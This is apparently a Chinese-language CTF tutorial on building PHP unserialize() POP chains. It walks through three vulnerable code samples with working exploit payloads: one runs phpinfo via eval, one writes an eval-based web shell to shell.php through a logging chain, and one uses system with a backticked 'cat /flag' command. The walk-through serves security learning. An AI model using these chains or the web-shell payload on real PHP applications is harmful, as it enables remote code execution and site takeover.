构造POP链
首先,如果想要利用PHP的反序列化漏洞一般需要两个条件:
- unserialize()函数参数可控。(还可以结合Phar://协议)
- 魔法方法和危险函数。
可是,在ctf题目中,我们常常会发现想要利用的危险函数并不在有魔法方法的类中,而此时就要构造POP链(控制程序执行流程的链),让没有关系的类扯上关系。
构造思路
- 能控制反序列化的点
- 反序列化类有魔术方法
- 魔术方法里有敏感操作(常规思路)
- 魔术方法里无敏感操作,但是通过属性(对象)调用了一些函数,恰巧在其他的类中有同名的函数(POP链)
简单例子
来自lemon师傅:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php class lemon { protected $ClassObj; function __construct() { $this->ClassObj = new normal(); } function __destruct() { $this->ClassObj->action(); } } class normal { function action() { echo "hello"; } } class evil { private $data; function action() { eval($this->data); } } unserialize($_GET['d']);
|
可以看到,在程序最后有反序列化函数并且参数d可控,下来在类中寻找危险函数。在evil函数中存在危险函数eval(),同时在lemon类中发现魔法方法__construct()和__destruct()。
分析一下,在lemon类新建的时候,__construct()创建了一个normal类的对象,并在lemon类销毁的时候,__destruct()会调用normal类中的action()方法。但可以看到,在evil类中,同样有action()方法,而且其中还有危险函数eval()。
如果我们在lemon类新建的时候,将__construct()新建的对象改为evil的对象,就可以利用危险函数了。
payload:
1 2 3 4 5 6 7 8 9 10 11
| <?php class lemon { protected $ClassObj; function __construct() { $this->ClassObj = new evil(); } } class evil { private $data = "phpinfo();"; } echo urlencode(serialize(new lemon()));
|
进阶例子
来自lemon师傅:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150
| <?php class OutputFilter { protected $matchPattern; protected $replacement; function __construct($pattern, $repl) { $this->matchPattern = $pattern; $this->replacement = $repl; } function filter($data) { return preg_replace($this->matchPattern, $this->replacement, $data); } }; class LogFileFormat { protected $filters; protected $endl; function __construct($filters, $endl) { $this->filters = $filters; $this->endl = $endl; } function format($txt) { foreach ($this->filters as $filter) { $txt = $filter->filter($txt); } $txt = str_replace('\n', $this->endl, $txt); return $txt; } }; class LogWriter_File { protected $filename; protected $format; function __construct($filename, $format) { $this->filename = str_replace("..", "__", str_replace("/", "_", $filename)); $this->format = $format; } function writeLog($txt) { $txt = $this->format->format($txt); file_put_contents("E:\\WWW\\test\\ctf" . $this->filename, $txt, FILE_APPEND); } }; class Logger { protected $logwriter; function __construct($writer) { $this->logwriter = $writer; } function log($txt) { $this->logwriter->writeLog($txt); } }; class Song { protected $logger; protected $name; protected $group; protected $url; function __construct($name, $group, $url) { $this->name = $name; $this->group = $group; $this->url = $url; $fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>"); $this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n"))); } function __toString() { return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group; } function log() { $this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n"); } function get_name() { return $this->name; } } class Lyrics { protected $lyrics; protected $song; function __construct($lyrics, $song) { $this->song = $song; $this->lyrics = $lyrics; } function __toString() { return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n"; } function __destruct() { $this->song->log(); } function shortForm() { return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>"; } function name_is($name) { return $this->song->get_name() === $name; } }; class User { static function addLyrics($lyrics) { $oldlyrics = array(); if (isset($_COOKIE['lyrics'])) { $oldlyrics = unserialize(base64_decode($_COOKIE['lyrics'])); } foreach ($lyrics as $lyric) $oldlyrics []= $lyric; setcookie('lyrics', base64_encode(serialize($oldlyrics))); } static function getLyrics() { if (isset($_COOKIE['lyrics'])) { return unserialize(base64_decode($_COOKIE['lyrics'])); } else { setcookie('lyrics', base64_encode(serialize(array(1, 2)))); return array(1, 2); } } }; class Porter { static function exportData($lyrics) { return base64_encode(serialize($lyrics)); } static function importData($lyrics) { return serialize(base64_decode($lyrics)); } }; class Conn { protected $conn; function __construct($dbuser, $dbpass, $db) { $this->conn = mysqli_connect("localhost", $dbuser, $dbpass, $db); } function getLyrics($lyrics) { $r = array(); foreach ($lyrics as $lyric) { $s = intval($lyric); $result = $this->conn->query("SELECT data FROM lyrics WHERE id=$s"); while (($row = $result->fetch_row()) != NULL) { $r []= unserialize(base64_decode($row[0])); } } return $r; } function addLyrics($lyrics) { $ids = array(); foreach ($lyrics as $lyric) { $this->conn->query("INSERT INTO lyrics (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")"); $res = $this->conn->query("SELECT MAX(id) FROM lyrics"); $id= $res->fetch_row(); $ids[]= intval($id[0]); } echo var_dump($ids); return $ids; } function __destruct() { $this->conn->close(); $this->conn = NULL; } }; unserialize($_GET['cmd']);
|
可以看到,代码很长,还是从反序列化点和危险函数找起来比较好。可以看到User类中$oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']))
,这个cookie是可控的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| class User { static function addLyrics($lyrics) { $oldlyrics = array(); if (isset($_COOKIE['lyrics'])) { $oldlyrics = unserialize(base64_decode($_COOKIE['lyrics'])); } foreach ($lyrics as $lyric) $oldlyrics []= $lyric; setcookie('lyrics', base64_encode(serialize($oldlyrics))); } static function getLyrics() { if (isset($_COOKIE['lyrics'])) { return unserialize(base64_decode($_COOKIE['lyrics'])); } else { setcookie('lyrics', base64_encode(serialize(array(1, 2)))); return array(1, 2); } } };
|
还有程序最后的unserialize($_GET['cmd']);
,也是可控的参数与反序列化点,下来寻找的危险函数。
- LogWriter_File类中的file_put_contents函数,可以用来写木马。
- OutputFilter类中,由于preg_replace函数pattern可控,如果在PHP版本不高于5.5的情况下可以执行命令。
因为PHP的版本不确定,这里分析file_put_contents函数的POP链构造。构造方向可以是从可控点到危险函数,也可以是从危险函数到参数可控点。正反都可以,这样有条理一点。
一个可控的unserialize点可以让我们控制{当前的定义的类或者自动加载能找到的类}的属性(这个对象属性也可以是一个对象)。这里正着来,去寻找魔法方法。
在Lyrics类中,可以看到两个魔法方法:
1 2 3 4 5 6
| function __toString() { return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n"; } function __destruct() { $this->song->log(); }
|
这两个魔法方法虽没有敏感操作,但可以看到__destruct()中调用了log()方法,且log()方法存在于Song类和Logger类中。Song类中的log()方法只是简单拼接字符串,并不能继续深入;而Logger类中的log()方法又调用了LogWriter_File类的writeLog()方法,file_put_contents()又正好在这个方法中。所以构造POP链如下:
User类中可控的反序列化点lyrics => Logger类的log()方法 => LogWriter_File类的writeLog()方法 => 危险函数file_put_contents()
下来写payload,新建一个Lyrics对象将它的song属性填充成Logger对象,再把logger对象的logwriter的属性填充成LogWriter_File对象,最后传送给cookie,在Lyrics对象被销毁的时候就可以触发__destruct()。
1 2 3 4 5 6 7
| <?php $arr = array(new OutputFilter("//","<?php eval(\$_POST['c']);?>")); $obj1 = new LogFileFormat($arr,'\n'); $obj2 = new LogWriter_File("shell.php",$obj1); $obj3 = new Logger($obj2); $obj = new Lyrics("2333",$obj3); echo urlencode(serialize($obj));
|
再get一次,就可以拿到shell。
练习
再拿一到buuctf的红包题来练习一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129
| <?php error_reporting(0);
class A { protected $store; protected $key; protected $expire;
public function __construct($store) { $this->key = $key; $this->expire = $expire; $this->store = $store; } public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]);
foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } }
return $contents; }
public function getForStorage() { $cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]); }
public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); }
public function __destruct() { if (!$this->autosave) { $this->save(); } } }
class B { protected function getExpireTime($expire): int { return (int) $expire; } public function getCacheKey(string $name): string { $cache_filename = $this->options['prefix'] . uniqid() . $name; if(substr($cache_filename, -strlen('.php')) === '.php') { die('?'); } return $cache_filename; } protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize']; return $serialize($data); } public function set($name, $value, $expire = null): bool{ $this->writeTimes++;
if (is_null($expire)) { $expire = $this->options['expire']; }
$expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { } }
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) { $data = gzcompress($data, 3); }
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) { return $filename; }
return null; } }
if (isset($_GET['src'])) { highlight_file(__FILE__); }
$dir = "uploads/";
if (!is_dir($dir)) { mkdir($dir); } unserialize($_GET["data"]);
|
代码还是很长,因为有一些不知道的php用法,这次一一差文档,做了注释。之后,先去找危险函数,看到类B中的set()方法中有危险函数file_put_contents()和可控的$this->options['serialize'];
,但不能直接应用。下来去找魔法方法,类A中的__construct()用来构造初始化,不能深入;__destruct()中调用了save()方法,而save()方法中又调用了set()方法,若将$this->store->set($this->key, $contents, $this->expire);
中的$store改为B对象,就可以指向类B的set()方法,进而利用危险函数。所以,构造POP链如下:
A类中__destruct()方法 => A类的save()方法 => save()方法中的set()方法 => B类中的set()方法 => 危险函数file_put_contents()或者$this->options['serialize'];
从整个POP链流程开始,跟据函数流程,来控制要修改或者添加的参数,可以写出payload,这里利用的是php特性:
当使用system(xxxxxx)的时候, xxxx中如果有反引号包裹的东西那么这块部分会被优先执行
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php error_reporting(0); class A { protected $store; protected $key; protected $expire; public function __construct() { $this->key = "1"; $this->expire = 1; $this->autosave = false; $this->cache = ["aaa"=>'`cat /flag > ./hello`']; $this->complete = true; $this->store = new B(); } } class B {
public function __construct() { $this->options = [ 'serialize' => 'system', 'data_compress' => false, 'prefix' => "bbb" ]; } } $a = new A(); echo urlencode(serialize($a));
|
将内容以get方式提交给data,再去访问hello文件,即可获取flag。这道题目还有许多其他方法,在下面博客里面也都有,这里先不写了。
原先以为这种大块代码的内容很麻烦,但要是把一些关键函数都了解一下,能够有条理地分析的话,这样的题目还是比较简单的,因为源码都给出来了,也不用各种猜。但还是有不熟练的地方,望以后碰到这种题目能够做出来。
参考
1.http://redteam.today/2017/10/01/POP%E9%93%BE%E5%AD%A6%E4%B9%A0/
2.https://blog.szfszf.top/tech/php-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96pop%E9%93%BE%E7%9A%84%E6%9E%84%E9%80%A0%E4%B8%8E%E7%90%86%E8%A7%A3/
3.http://www.gtfly.top/2020/01/29/2020BuuCTF%E6%96%B0%E6%98%A5%E7%BA%A2%E5%8C%85%E9%A2%98.html